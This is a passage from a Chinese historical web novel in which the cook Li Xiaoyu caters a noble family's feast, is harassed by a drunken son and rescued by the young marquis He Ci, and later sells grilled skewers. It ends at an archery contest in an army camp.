此时凌怀远单手指向坐上的江渚松,“你家那儿子贪嘴,把两样不能吃的东西一起吃,最后闹肚子疼。结果你把老子的儿子抓来问话,姓江的,你他娘是不是欠抽?”
江渚松脸皮抽动,要发火骂人,但看到长枪下的地缝,硬是忍了下来。
“你什么意思?”
凌怀远哼了一声,“你就说你儿子那天是不是一起吃了卤牛肉还有那什么花里胡哨的脯?”
江渚松直觉告诉他不能点头,但这事凌怀远轻易就能确认,他也不好隐瞒,只能颔首,“是又怎样?”
“还是又怎样?这两样东西不能同食,吃了就腹痛难忍,还会拉肚子,你这都不知道,怎么当的官?”
凌怀远知道自己这话说的有些强人所难,但那姓江的敢随意带他儿子进衙门,他说几句而已,不痛不痒的又算得了什么?
真是老虎不在家,叫他江猴子称上霸王了。
江渚松不信,“这种事情凌将军怎么会知道?”
“老子比你聪明呗。”
凌怀远不知何时已经站到凌少卿的前面,“你要是不信,牢里也不是没有死刑犯,试上一试不就成了?”
话说到这份上,江渚松不得不信。
但为以防万一是诈他,还是命人按着凌怀远说的去做了。
等待的期间,小吏搬来了椅子。
凌怀远腰杆挺直的坐在椅子上,支着长枪,一直挡在凌少卿和许活前面。
大半个时辰后,有小吏匆忙赶来,将结果告知。
正如凌怀远所言,牛肉与橄榄同食,会腹痛腹泻。
大夫看了,情况和江安那晚一模一样。
江渚松没法子,只能将凌少卿和许活都放了。
本还想杀鸡儆猴,当着凌少卿的面,打一顿许活。
结果别说凌少卿,就连许活也毫发无伤。
江渚松气的一拍桌子,见鬼了,凌怀远到底怎么知道这两样东西不能一起吃的!
凌怀远成功的把人带出去后,沉着脸对凌少卿道:“过段时间我回府,到时候再好好收拾你。”
凌少卿低头不吭声,一旁的许活更是大气不敢喘。
“走!”
凌怀远一声令下,围着府衙的将士们迅速收起武器列队。
马蹄声和脚步声越来越远,几乎听不清的时候,凌少卿才抬起头。
柳玉攀也一直躲在狮子石雕后面,等他姨父走远才冒出头来。
“表哥你没事吧。”
“没事。”
表兄弟二人稍微说了两句话,就朝着小饭馆的方向走去。
黎小鱼一直在小饭馆里等消息,面上看着平静,心里多少是担忧的。
柳玉攀急脾气,也不知道关键时刻会不会掉链子,把事情越搞越复杂。
“师父!”
“师父!”
凌少卿和许活的声音从外面传来,黎小鱼悬着的心终于放下。
还好,都没事。
江安腹痛的原因找到,不是中毒,而是吃了相克的食物。
这消息传出来,倒是叫不少人不太敢尝试新的吃食菜色。
谁知道这些新的东西,和以前吃过的那些,会不会相克呢?
腹痛腹泻事小,送了命的话,那才叫可怕。
不过这种谨慎过头的风气也没能坚持几日,大家伙又照旧想吃什么吃什么。
民以食为天,好吃和饱腹是王道。
好些东西本来就有毒,为了能吃上,又是削皮,又是焯水的,反正想尽一切办法去除毒素,就是要把东西给吃进肚子里。
在吃这一道上,大俞人有他们自己的坚持。
……
黎小鱼给贺辞单独送饭食,已经十日了。
前一天送的时候,白竹说明天直接送去珍馔楼,小侯爷要与同窗在珍馔楼相聚。
黎小鱼有些想不明白,既然珍馔楼有宴,他停一日也可啊。
不过这念头也就自己想想,没真叫白竹去问。
这段时间的接触,黎小鱼多少也了解贺辞一些。
虽然没直接接触贺辞,但是并不难从白竹的反应看出来。
贺辞是个做了什么决定,就必须执行的人。他决定的事,听不进别人的话。
谁和他唱反调,他就呲谁。
贺辞已经说了明日送去珍馔楼,再问别的,那就是不听他的,一定会发火。
白竹深知这点,因此即便黎小鱼叫他去问贺辞能不能隔日再送,他也不会去问。
这不是找骂吗?
黎小鱼也因为了解这点,也就不费那唇舌。
明天他就送一趟珍馔楼,还近。
翌日中午,凌少卿因为也要参加宴请,和黎小鱼告了假,没有去小饭馆的后厨。
黎小鱼来送饭的时候,雅间内正在欣赏着舞姬跳舞。
“黎小鱼?你怎么来了?”
裴叔群眼尖,一下子就看见了提着食盒的黎小鱼。
凌少卿也起身道:“师父。”
黎小鱼看向凌少卿,对他微微一笑。
在坐的少年们都知道凌少卿拜了个厨子为师,他们也不敢耻笑,怕凌少卿边上的柳疯子揍人。
这会看见黎小鱼,之前没见过黎小鱼的都多看了他几眼。
主位上的贺辞看着黎小鱼的笑脸,心里有些不得劲,皱着眉道:“快过来,我要饿死了。”
贺辞的话让同窗们又是奇怪不已,凌少卿的师父和小侯爷认识?
在看见黎小鱼把食盒放在贺辞眼前的时候,众人了然。
误会了,原来只是给小侯爷送饭菜。
裴叔群转头看贺辞,“我说小侯爷怎么一直不动筷子,什么也不吃。原来是有人专门送好吃的来啊。”
说着又看向黎小鱼,语气带着些玩笑的意味,“怎么只有小侯爷有,我们没有啊?”
贺辞嘴角带笑,打断了裴叔群的话,“这是专门给我做的,你们自然没有。”
裴叔群哦了一声,尾音拖长,“为何专门给小侯爷做啊?”
贺辞被问的有些不耐烦,“你傻啊,当然是给银子了才专门做。一天天的问这么多干什么?”
周围有压低的笑声,裴叔群也不在意,“好奇问问,小侯爷不让问,我不问就是。”
他用掌心撑着这扇,下巴搁在手背上,似笑非笑的看向靠近贺辞的黎小鱼。
“黎小鱼,来都来了,留下来看看舞姬跳舞?这些可都是歌舞坊请来的一等舞姬,旁人很少能看见她们的舞。”
贺辞拿着筷子反手射穿了裴叔群的折扇。
“你当他和你一样整天闲着没事干,就看舞姬跳舞?”
裴叔群脸上玩笑的笑意收敛,把插着筷子的折扇放下,“我这不是想交个朋友吗。”
黎小鱼终于有说话的机会了,他先对裴叔群说不看,又对贺辞说:“食盒明天叫白竹带给我。”
在黎小鱼转身之际,裴叔群又将人喊住。
“黎小鱼,你还接不接私宴?后日我的生辰,我想邀你来裴府做我的生辰宴。”
黎小鱼想了一下后选择婉拒,裴府宴请宾客的人数,肯定多的很。他如今人手少,接不来这种大宴。
裴叔群听出黎小鱼的担忧,笑道:“没事,你只做两道菜就行,要辞州没有的。我给你五十两。”
贺辞把玩着手中的筷子,那筷子在修长的指尖上流畅的旋转着。
他偏头看向裴叔群,“你生辰宴,裴府不是应该早就把厨子都定好了。”
裴叔群点头,“是啊,但上次邵怀筠那宴,我吃着觉得好。要是黎小鱼能在我的生辰宴上做出辞州没有的菜色,我脸上不也是有光吗。”
贺辞没再说话。
“黎小鱼,你接吗?”裴叔群又问黎小鱼一遍。
黎小鱼道:“价格合适,菜量合适,为何不接?”
贺辞有些不高兴,也不转筷子了,把它攥在掌心。
“那你那天还给我做饭吗?”
黎小鱼没想好怎么说,倒是裴叔群先回了他,“反正小侯爷那天也要去的,到时候叫黎小鱼单独给小侯爷做也是一样。”
贺辞有一瞬的犹豫,他不喜欢裴叔群的二哥,去年也惹出一些事端来。
今年还想着送礼便成,人不去的。
贺辞状似无意的看黎小鱼一眼,又转起了筷子,最后还是道:“这几天大鱼大肉吃腻了,黎小鱼,你那天记得给我弄点简单清淡的。”
第38章 第 38 章
卢大海在黎小鱼手底下打了这么久的下手, 菜色基本都能学个七八成模样。
小饭馆里做的那些菜,不需要太多的要求和火候功夫,有些底子的厨子, 多看看再练练, 也就成了。
这也让黎小鱼能得空接一些私宴, 不至于将自己一直困在小饭馆后厨一方地界。
这次去裴府, 黎小鱼并不是整个席面的掌厨。
他只做两道, 一道黄金鸡,一道甜点栗子糕。
黎小鱼带着方石头去的裴府, 裴叔群早已与府上的人打好招呼, 报了姓名之后,就被门房那边的小厮带着走侧门去了后院。
裴府面积很大, 府中亭台楼阁, 池塘水榭皆有。
今日有宴, 一路上遇见不少忙里忙外的丫鬟小厮们。
越往里走,越清净。
黎小鱼有些奇怪, “后厨此时应该有不少人, 怎么如此安静?”
领路的小厮笑道:“小郎君勿要见怪, 实在是厨房那边人多,没有多余的位置。七郎君怕有人不长眼,忙起来冲撞了小郎君,便叫我带小郎君去七郎君的安沁园, 用那的小厨房。”
“清净也不怕人打扰。”
黎小鱼盯着小厮看了一会,“裴七郎倒是有心了。”
裴叔群并不在安沁园里, 丫鬟小厮也少, 一共四人,全是留下来给黎小鱼打下手的。
小厨房里, 已经准备好了黎小鱼要用的鸡,全都处理干净,一应炊具也齐全。
黄金鸡讲究一个色美,味淡,肉鲜。
调料既要去除异味提高肉的美味,更要保留下鸡肉本来的鲜美。
黎小鱼到了小厨房后,就开始忙活了起来。
一共三十只鸡,看起来是个大工程。
不过做法简单,只需将整只鸡用麻油,盐水去煮,再加适量的花椒,葱段。粉白的鸡皮经过加热之后,变得金黄油亮。
熟后切块,装盘摆好。此菜鸡肉鲜嫩,鸡汤鲜香。
席面上都是单人食,一小碟就装两块鸡肉。这里尤其考验刀工,不能将肉切碎,大小也要差不多,不然看起来不美观。
做好之后,正好前头来人说要传菜。
黄金鸡被端去了前厅,此时每位宾客的席面上,已经摆了不少的精致碗碟。
碟小菜少,菜色却很丰富。
小碟上多多少少都会点缀着花朵,现在是秋季,外面并无多少的鲜艳花朵。
但有财力及权利的家族,有自己的暖房养各种美艳的花。
即便是冬季,都能见到一些春夏两季的花。
这些本该凋谢的花朵,却出现在餐桌之上,既能让菜色看起来更加的美观,且有花香。也是主家彰显地位权势的一种手段。
装着黄金鸡的小碟,却并无任何的花朵做装饰。
反而在一众“花海”之中脱颖而出。
它本身的金黄颜色,已经足够亮眼,鸡肉的鲜香四溢,比花香更加的吸引席面上,等着吃饭的人的注意。
没有过多的调料,黄金鸡保持着鸡肉的原汁原味,又有麻油香料,祛除异味,增添香气。
鸡肉的鲜美肥嫩,食之难以忘怀。
就是一碟子只有两块大小差不多,切面整齐的鸡肉,实在是不够吃。
有些宾客实在是喜爱黄金鸡的鲜嫩美味,与裴家又交好,便出声问道:“这道是什么菜?吃着味道极好,此前在辞州从未见过。裴府的厨子,真是了得。”
主人自然不会将宴会上的菜色都记得一清二楚,但身边伺候的丫鬟小厮们却是明白的。
边上的裴家小厮,瞧着这道菜之前没什么印象,应该就是后面七郎君要添的两道其一。
好在名字好记,且菜色与菜名十分的相符,小厮看了一眼便恭敬的回道:“这叫黄金鸡,是七郎君专程请来的厨子做的,想与诸位宾客,一起品尝美味佳肴。”
“黄金鸡?倒是个贴切的名。哪家的厨子?我改明儿个有空,也把人叫家里去做来吃。”
“小人不知,待会替大人去问问。”
……
安沁园的后厨,黎小鱼在炖鸡的时候,做了要给贺辞的菜。
瓜齑咸香下饭,用料有干笋,酱瓜,葱,姜,鸡胸肉还有大虾仁。
将其全部切丝,锅中倒入麻油,热后将各种切丝按着荤先素后的顺序,一一入锅,翻炒,最后只需再加适量的调料调味即可。
笋丝与酱瓜丝脆咸,葱姜丝有味,鸡胸肉与虾仁切丝,裹着咸香的味道,有不同的肉感,却并不肥腻。
黎小鱼知道贺辞不吃葱,便将葱都给挑了出来。
假煎肉是辞州本就有的菜色,这道菜需要用到面筋和瓠瓜。
面筋与瓠瓜切圆片。面筋油浸后再煎,表面微黄即可出锅。瓠瓜片要用猪油去煎,增添肉脂香气。
最后锅中倒油,加入葱,花椒炒香。
再入煎好的面筋片和瓠瓜片一起翻炒,最后加一小勺黄酒,少许调料香料,收汁便可。
假煎肉里面的葱花也被黎小鱼挑了出来,葱只是为了提味,他切的时候专门切的段,方便最后挑出。
贺辞说要吃清淡些,黄金鸡虽是肉菜,但并非用重口调料炒制。
也算是清淡鲜美。
黎小鱼自己带了一只鸡来,单独给贺辞做。
贺辞的菜,量比较多,除了黄金鸡以外,另外两道的味道咸香下饭。
做起来的速度也快,不费什么事。
黎小鱼把菜装进食盒,让小厮给贺辞送过去。自己继续忙活栗子糕的脱模。
贺辞所在的席面上,也都在感叹着黄金鸡味道鲜美。
更多的是在一脸羡慕的看向贺辞那边。
给贺辞送饭食的小厮,是跟着端上黄金鸡的小厮一起来的。
人人只有两块黄金鸡,而贺辞,他有一整只。
白竹在一旁都馋的直流口水。
他本就是要跟着伺候,不过因贺辞要吃黎小鱼做的菜,席面上的那些菜色,便都叫白竹吃了。
所以白竹也尝了两块黄金鸡,还想吃却没有了。
只能盯着贺辞那边馋的不行。
按理说下人不能与主子同坐,不过白竹吃菜没有坐在桌上,只在贺辞的身后添了个小桌,也不算是与主子同席而食。
加上要这么做的又是说一不二的贺辞,因此倒也没人说什么。
贺辞不管别人是怎么馋他碗碟里的菜,他低头专心的吃着黎小鱼做的菜。
吃到假煎肉的时候,突然顿了一下。
假煎肉他之前吃过,记得里面是加葱的。而这道假煎肉味道更好,但却并无葱。
另一道瓜齑,有一根葱丝,没有挑出去。
贺辞想到应是黎小鱼记着他的喜好,专门挑出去的,轻笑出声,引来边上的裴叔群注目。
“小侯爷今日很高兴?”
“嗯,黎小鱼在哪?我吃完找他有事。”
裴叔群道:“我叫小厮带小侯爷去。”
栗子糕放凉脱模后也是一碟子两块,端去前厅之后,黎小鱼就完成了今日要做的。
“石头,快些收拾,咱们能早些离开。”
“好的小东家。”
正收拾着,外面传来一道呼喊声,“裴七!人死哪去了?”
安沁园的小厮和丫鬟也出去帮着送栗子糕了,此时安沁园只有黎小鱼和方石头。
黎小鱼让方石头继续收拾,他出去看什么情况。
刚出后厨,就见一名与裴叔群长的有几分相似,但比裴叔群年长的男子,一身酒气的站在院子里。
身后还跟着个油头粉面的小厮,那小厮看到黎小鱼,眼中生出警惕来。
裴叔青看见黎小鱼的时候,眼前一亮。
勾起嘴就朝着黎小鱼靠近,“哟,哪来的小美人?裴七他终于上道一次了!”
黎小鱼冷着脸闪身躲开,“你是什么人!”
裴叔青乐呵呵的笑道:“你在我家,问我是什么人?我是裴四郎,小美人,你可以叫我四郎~”
四你个鬼。
黎小鱼心里骂了一句,对着小厨房道:“石头别收拾了,我们赶紧离开!”
方石头闻言赶紧出来,裴叔青看到方石头,被打扰了兴致,眉头一皱。
“哪来的丑东西,赶紧滚!”
方石头一下子就看出不对劲,他挡在黎小鱼面前。
结果被裴叔青一把推开。
黎小鱼看着伸向他的手,一把抓住,准备来个过肩摔。
裴叔青不知道黎小鱼的意图,只知道小美人抓着他不放,心里乐的不行,“小美人真性急,我喜欢。”
“你们在干什么!”
过肩摔到一半卡住,在贺辞看来,裴叔青正用手臂勒着黎小鱼的脖子。
他大步向前,将黎小鱼拽了出来,顺势抬脚,直接踹翻了裴叔青。
“姓裴的,你真是死性不改啊。”
裴叔青被这熟悉的力道踹的醒了几分酒气,龇牙咧嘴的看向贺辞和黎小鱼,嗤笑了一声。
“我当小侯爷又是打抱不平呢,感情是自己看上了啊。”
贺辞面色一红,不知是羞还是气,“裴四你说什么?”
“小侯爷将人抓的那么紧,没见小美人都疼哭了?上次小侯爷可不是这般要紧的护着。”
贺辞像是被烫到一样,迅速松手。
“我那是怕他被我甩出去坐地上,你以为谁都是你,整天想这些龌龊事?”
裴四郎捂着肚子爬起来,梗着脖子同贺辞嚷,“我怎么龌龊了?我正大光明的好色,怎么就龌龊了!”
说着一指黎小鱼,“他从裴七的院子里出来,又长得美,我自然就以为是裴七说的,送我的那个玩物啊。”
黎小鱼气的很,眼泪控制不住,面色冷极。
“我是裴叔群请来做菜的厨子。”
裴叔青没想到自己真搞错了,心里骂了裴叔群八百遍。
这时从院子里走来一名弱柳扶风,化着妩媚妆容,身着红色纱衣,半隐半透的男子。
他快速的环顾一圈,就对着贺辞抛了个媚眼,妖妖娆娆的就走来,“这位可是四郎~”
贺辞往后退,还不忘拉着黎小鱼一起。
男子看见贺辞的动作,红艳的唇微微勾起,“四郎拉着的小郎君倒也是有几分颜色,三人一起,奴家也是可以的。”
贺辞厌恶的瞪着那男子,把黎小鱼往身后一藏,“你嘴巴给我放干净点,我不是裴四郎,你再靠近一步,别怪我手下无情!”
那男子有一瞬间的犹豫,随后妖媚一笑,往前踏了一步。
还没来得及张口,便有什么东西贴着他的耳边飞过,耳朵一阵火辣辣的疼。
咚地一声,背后远处的柱子上钉了个极短的箭。
贺辞举着袖箭警告,“再靠近一步,我的箭就会射中你的腿。”
男子捂着耳朵,吓得直接跌坐在地,外面套着的薄纱,掉了大半,露出白皙的肩头。
贺辞一个转身,拉着黎小鱼就走。
方石头也立马跟上,不敢在那奇怪的地方多待一会。
贺辞拽着黎小鱼到一处假山,他让方石头离远点,方石头看一眼黎小鱼,见他点头才走远一些。
贺辞看向贴着假山石站着的黎小鱼,声音又急又有些凶。
“寻常百姓家,五两银子够十几口人好好的生活一整年。你家小饭馆每天纯利润就有一二两的银子,我每日给的菜钱二三十两,这样高价还不够你用?怎么还接这些狗屁私宴,就这么缺银子吗?”
黎小鱼抬头对贺辞道:“我接私宴怎么了?我就是个厨子啊。给钱就做菜,哪里不对吗?”
贺辞气的不行,他低头吼道:“你两次差点遇险,上次邵怀筠可能会帮你。但这次要不是我来,你以为裴四郎能放过你?”
黎小鱼一脚踢上贺辞的小腿,“你吼我做什么?要不是你来,那裴四郎就已经被我摔地上了!”
“还有,接私宴有什么错?错的明明是那些心怀不轨的人!”
黎小鱼撇开头,眼眶一热,默默的流泪。
要是能时光倒流,他一定要把那姓裴的摔的哭出来。
贺辞忍着小腿的疼,咬着后槽牙,撑着假山石,把黎小鱼圈起来,就这么低头盯着他看。
若真按着黎小鱼所言,他的出现,似乎让黎小鱼失去了最佳的揍人机会。
贺辞动了一下,掏出备用的干净帕子,盖在黎小鱼的脸上。
察觉到黎小鱼不喜欢听大声讲话,声音也下意识的放轻。
“别哭了,你说的对。是人的错,和私宴无关。”
贺辞把袖箭扣好,“我带你回去,让你亲自动手揍裴四郎。有我在,他不敢事后找你麻烦。你去不去?”
黎小鱼扯开脸上的帕子,“去。”
裴四郎正要拉着那妖媚男子进屋里去。
谁知贺辞和黎小鱼去而复返,他被贺辞一把抓住。
双手背后,被贺辞单手困住,动弹不得。
黎小鱼心里默背着菜谱,脸上没什么情绪,直接把人当沙包,狠狠的揍了一顿。
贺辞看着黎小鱼出拳的力道和姿势,眼前一亮,带着欣赏的意味,目不转睛的看了许久。
这拳打的漂亮!
裴叔青被黎小鱼一通好打,贺辞还低声的在他耳边说:“你再敢动他,就死定了。”
裴叔青嗷嗷叫,“你两就是狼狈为奸!”
黎小鱼出了气,被贺辞直接带离裴家。
裴叔青被贴身小厮扶着,躺进了裴叔群的卧房。
大夫来看过伤后,裴叔群才赶过来。
“哎呀,四哥这是怎么了?”
裴叔青看到裴叔群,一个起身就扯着他的衣服,怒道:“裴七,这是不是你故意设的局?就是为了报复我!”
裴叔群笑了一声,没有任何害怕之色,“那四哥倒是说说看,我为什么要设局报复四哥?”
“自然是因为……”
裴叔青话说一半没有继续,他松开裴叔群的衣服,指着裴叔群警告,“你给我等着,迟早弄死你。”
马车上,贺辞还是上次的姿势,一个人占大半个位置。
他从暗格里面取出一碟子糕点,“吃吧。我都听到你肚子叫了。”
黎小鱼忙活了好久,他是真饿,没推辞直接收下了。
“小侯爷好耳力。”
贺辞眉毛一挑,“自然,我可是能听风辨位,箭无虚发的。”
黎小鱼吃着糕点,点头应付,“小侯爷真厉害。”
贺辞被夸的心里高兴,他看黎小鱼吃的快,提醒道:“慢点吃,又没人和你抢。”
等黎小鱼吃完了,贺辞又给他倒了水。
“别怪我没提醒你,以后别再去裴家。他家除了裴叔群正常点,其他人都有病。”
黎小鱼喝一口水,压下了干巴噎挺的感觉。
“上次在珍馔楼,裴叔群说生辰宴的时候,我看小侯爷并不是很想去。所以小侯爷最后决定去裴府参加生辰宴,是因为我?”
贺辞摇头,“怎么可能,我只是想吃你做的菜。”
他确实是没想到黎小鱼会在安沁园后厨做菜,也没想到裴叔青会跑去安沁园。
但他为了黎小鱼做的事,也不会掩藏就是。
还是那句话,在他看来,做了一件对旁人好的事情,就一定要对方知道。
光在心里藏着,那多难受。
“不过这次要是没我,你就算一开始摔了裴叔青也没什么用。他看上你,就一定会想办法弄到手。”
黎小鱼眉心微皱,“他喜欢男子?”
“不是。”贺辞一副难以言说的表情,像是想到什么恶心的画面。
“他喜欢漂亮的人,无论男女,无论年龄。”
贺辞那一副要吐的模样,黎小鱼也知道不是说的那么简单。他不愿多想,脏了脑袋,喝口水压惊。
此时贺辞看向黎小鱼,“你确实是有几分姿色,虽然我后面的话你不爱听,但最好还是别再接私宴。”
“权贵世家,唯心喜好做事。他们或许并不喜欢男子,但情绪上来,只想放纵求一时欢愉,不会管你是什么性别。”
“尤其是黎九章如今根基不稳,也无拿得出手的政绩在天子眼前露脸。真要出什么事,就算是他,怕也保不住你。”
黎小鱼听的认真,也看出来,贺辞是真心建议。
他道:“我不是不爱听不接私宴,而是不喜欢人吼我。”
高大的男子怒吼声,伴随着他的童年。
是他心底深处藏起来的恐惧。
贺辞看着黎小鱼,见他泪眼朦胧的说话样子,心跳莫名变快。
脱口而出道:“我下次注意。”
黎小鱼将回忆压下,没有让自己又哭出来。
贺辞惊奇的盯着黎小鱼的眼睛,“你的眼泪呢?”
怎么说没就没了?
这是黎小鱼新出的勾引他的手段吗?
真是太高明了。
“不想为这种事情哭。”黎小鱼转移话题,“这次也多谢小侯爷了。小侯爷后面不必再给银子,就算给也别给那么多,正常给吧。”
贺辞道:“你不缺钱了?”
“缺,但迟早能攒到。”
贺辞疑惑道:“你家中似乎没出什么事,要用到这么多银子啊。”
黎小鱼颔首,微微笑道:“告诉小侯爷也无妨。”
毕竟目前为止,只有他一人,有那么多的菜谱,支撑着他那么做。
“我想开一间书院,但不是教书科考,而是教人做菜。我会按着来的人想学的菜是什么收银子,做学费。实在凑不出银子的,可以在书院里干活赚钱,攒够了,一样可以学。”
“虽然人数有限,但至少有一部分人,可以有一条出路。”
贺辞望着黎小鱼,讲起这些时,笑的很真实。
他的心跳加速,慌乱的移开视线。
“你还差多少,我可以借你。”
黎小鱼摇头拒绝,“我不能借,现在借了,以后我可能会保不住书院。”
贺辞心神恢复镇定,“你怕我以此相挟,要掌控你的书院?”
黎小鱼平静道:“我是不想书院,有任何的势力参与。我只想让百姓,能有一个可以自己选择的路走。靠着一个小手艺,即便无法大富大贵,但也能养活一家老小。”
贺辞再次移开视线,“那你大伯父呢?”
“大伯父不一样。”黎小鱼笑着说:“我相信他。”
贺辞扭头盯着黎小鱼,心里闷闷的。
“所以你就是不相信我。”
黎小鱼没有回答,但此时的沉默,也足够贺辞明白其中的含义。
是的,不相信你。
“可光靠你大伯父,是没办法守住这样一个‘书院’的。”
贺辞的话,是现实。
黎小鱼心里也知道。
他在沉默片刻后,坚定的说:“大伯父做官多年,若真的没有一点手段,也不会安然无恙的来到辞州。我把我的部分做好,大伯父也一定能将他的部分做好。”
贺辞哼一声,“你这一大家子,倒是彼此信任,团结一致。”
黎小鱼低着头,“嗯。”
*
裴家的家宴结束后两日,黎小鱼就给小饭馆添了新菜色。
他还是选择听贺辞的,少接这些权贵的私宴,甚至是不接。
因此,他需要多些能赚钱的菜色。
秋季牛羊肥美,他便在小饭馆外面支了个棚子,用来卖烧烤。
人手有限,就专卖牛羊肉串。
肉串竹签上一块瘦肉一块油脂,刷子抹油,明火烤炙,油滋滋响,肉香飘散。
最后撒上烧烤料,孜然,盐粒,辣椒粉。
热腾腾,香喷喷的烤肉串就出炉了。
辞州的羊肉尤其鲜嫩美味,毫无腥膻之气,外焦里嫩,配着羊油,口感多汁味足。
黎家小饭馆推出的羊肉串和牛肉串卖的极好,没两天就有其他的饭馆和酒楼模仿。
毕竟只是穿个串,吃一遍就能明白怎么弄。
但是味道上,没有一家能比黎小鱼烤的好吃。
烧烤也是有许多讲究的。
油抹多了,腻还亏本。抹少了,干还难吃。
翻面少了不熟,翻面多了烤过了,发黑味苦。
调料少了没味,多了全是调料味还咸。
什么时候抹油,什么时候翻面,什么时候撒调料,都是学问。
其中黎小鱼自制的烧烤料,也是重中之重。
没了这个,其他的就算都琢磨出来掌握了,那也差点意思。
因此,其他家是跟着推出了,但实际上没有抢走黎家小饭馆多少的生意。
但他们也还是因此多了一笔的收入。
小饭馆每天能接待的人数就那么多,其他的人想吃吃不着,只能去其他家吃。
味道差是差了点,但他们辞州的牛羊肉本来就好吃,再差也差不到哪去。
撸肉串的新奇吃法,反而叫食客们觉得有趣,最爱与三两好友一起,边撸串边喝酒聊天。
惬意的很。
因为肉串需要用大量竹签,周围不少的贫困人家,都去砍竹子,片竹签送去卖。
家里多了一门进项,多攒几个铜板,冬天也能好过点。
那些用脏了的竹签,也有好多人捡回去,存起来当柴烧。
但也有人会收回去,清洗干净后再卖给小饭馆和酒楼。
黎小鱼就遇到过卖二次,甚至是三次清洗后的竹签。
古代没那么多黑科技,竹签用没用过,一眼就能看出来。
别家他管不着,但他家小饭馆是不收这种的。
第39章 第 39 章
黎小鱼拒绝的次数多了, 那些捡竹签清洗后售卖的,也就不再去黎家小饭馆兜售。
烧烤肉串成了辞州的新吃法,就连军营都学着这吃法, 给诸位将军们做了尝鲜。
将军主帐里, 定安侯贺淮封坐在主位。
他留着络腮胡, 也挡不住面容的英俊, 更是生的高大威猛。即便是坐着, 也像一座小山一般。
军营里专门串给将军们吃的肉串,可比小饭馆或是酒楼里面卖得要大得多。
贺淮封拿着一根大肉串, 撸了一口, 上面的羊肉下去大半。
他嚼着觉得味道还行,就是这肉吧, 吃着不得劲。
即便是肉切的挺大, 串的也多。可哪有抱着一整块肉直接啃来的爽快?
听说这吃法是新来的黎家最先弄出来的, 贺淮封想着,八成是京城那边的吃法。
哼, 京城那群人, 尽是些小家子气, 吃肉也一样,抠抠搜搜的不畅快。
不过有一点倒是不错,因为饭馆酒楼需要大量的竹签,让周围的一些困苦百姓因此得了一门营生, 也算是有点用处。
贺淮封嚼着嘴里的羊肉串,吃了一嘴的孜然味, 肉香都没了。
“上次说的铁锅用的怎么样?”
定安侯问话, 下首坐着的将军立即道:“伙头营那边说很不错,做菜的速度比釜子快多了。而且铁锅的重量比釜子轻, 搬运的时候也更轻松。”
“还有人说要是碰到有射箭的,铁锅一挡就是龟壳,若是釜子,他们可搬不动。”
一番话说的营帐里的将军们都笑了起来,仔细想想确实如此。
铁锅各方面比起釜子,都更胜一筹。之前光想着拿铁做兵器,还真没人想到过这一茬。
下首回话的将军又问道:“侯爷突然提起铁锅,是否是要赏那黎家的小郎君?”
贺淮封沉思片刻,将手里那长串羊肉串全给吃了。
是又不是。
准确的说,是借着赏黎小鱼,与黎九章通信。
黎九章此人为官有点意思,与江渚松还有之前来的那些不同。
可他现如今根基不稳,很容易被江渚松弄下去,文官里面好不容易来了一个能和江渚松对着干的,实在是难得。
为了辞州百姓,他不能让黎九章被那姓江的祸害了。
只是他身为武将,辞州又是他的封地。身份特殊,并不能与任何文官有来往。
不然京城那位怕是要睡不好觉,到时候他的儿子,在京城的日子就会不好过。
黎小鱼的这铁锅,还有那位楚大人与伙头营那边,这次倒是误打误撞,给他辟了条新路。
贺淮封饮一杯酒,抹一把胡子,拍案道:“自然要赏,现在就去把人带来。”
侯爷一声令下,军营中很快飞奔出去一匹快马。
军营来人的时候,黎小鱼并没有多惊讶。
大伯父已经给他提前打过招呼,就是没想到军营的人会来的这么快。
倒是黎九州夫妻二人,还有小猫儿被吓得够呛,以为是这些武将要来找他们家麻烦。
最后还是听来的将士说是去领赏,又有黎小鱼安慰保证不会有事,这才放心。
今日是书院休沐,贺辞也跑去了军营,要与神射营的弓箭手们比试。
偌大的校场之上,有三名身着盔甲的将士扛着靶子,骑马快速的移动。
贺辞与神射营两名骑射最佳的校尉,也都骑着马,隔着老远追寻着箭靶,挽弓射箭。
烈马奔驰,校场上尘土飞扬,利箭划破空气,快速的飞向移动中的箭靶。
拖着箭靶的将士感受到箭靶被射中,便停了下来,查看箭杆上的刻名。
“小侯爷正中靶心,卢校尉正中靶心,樊校尉正中靶心。”
樊校尉听着结果很是满意,朗声笑道:“哈哈哈哈,小侯爷这一局可是平局,怎么整呢?”
贺辞将额头上的绑带一把扯下,蒙住了眼睛,“那便比一比听声辨位。”
卢,樊二人也将额上的绑带解开,绑在眼上蒙住了眼睛。
“好,就听小侯爷的!”
拖着靶子的将士再次跑了起来。
黎小鱼跟着领路的小将路过校场,就看见校场上奔腾的马,还有拉满弓弦,准备射箭的矫健身姿。
“那是小侯爷?”
领着黎小鱼的将士有些惊讶的点头,“小郎君竟然认识我们小侯爷?”
黎小鱼回他,“嗯,小侯爷帮过我几次忙。”
帮过几次忙?
这话让将士更加的吃惊,那贺小侯爷是什么人?
两岁会走,抓鸡斗狗。三岁会跑,鸡飞狗跳。
四岁爬树抓鸟,上房揭瓦。五岁下水摸鱼,抓蛇打结。
以为这就完了?十三岁那年,孤身进山。侯爷派人找了三天三夜,第四天的时候小侯爷用板车拖着一头熊,出现在侯府门前,惊呆众人。
那熊的双眼中箭,射穿出去,死的不能再死。
小侯爷衣衫破烂,脸上带伤依旧嘻嘻哈哈,毫不在意。
就连山岭里的熊,都熊不过他,可谓是一战成名。
后来为这事,被侯爷打断了腿,在家里面修养,倒是安静了一段时间。
是不进山霍霍熊了,但开始隔三差五的来军营里面霍霍他们。
不是被逮着比武,就是被逮着射箭。
这么个人,帮人?帮着揍人还差不多。
黎小鱼对贺辞过往的丰功伟绩是一概不知。
他也并未注意到,将士脸上流露出的那抹怪异的神色。
完全被贺辞的箭术所吸引,蒙眼射移动的靶子,还是骑在马上。
这样的难度,非常人能完成。
黎小鱼也有些好奇贺辞能否射中,不知不觉间,视线就跟着贺辞。
随着贺辞拉弓,他也屏息凝神。
马在剧烈的奔跑,贺辞坐于马背之上,身形稳当,力量惊人。弓弦拉满,听声辨位。
“咻”的一声,利箭飞出。
两位神射营的校尉,也接连射出手中箭矢。
没一会扛着靶子策马奔腾的将士停了下来,在仔细的检查了箭杆上的刻名后,高声的喊着。
“樊校尉,卢校尉,皆中靶,未中靶心!”
在短暂的停顿后,将士又高声道:“小侯爷射中靶心!”
贺辞反手将弓贴在背后,单手扯下蒙在眼上的额带,阳光之下,耳饰轻晃,笑得开怀。
随着马的踱步,贺辞扭头之际,看见不远处的黎小鱼。
他先是一愣,然后立即拉着缰绳,骑马朝着黎小鱼的方向奔去。
“吁——”
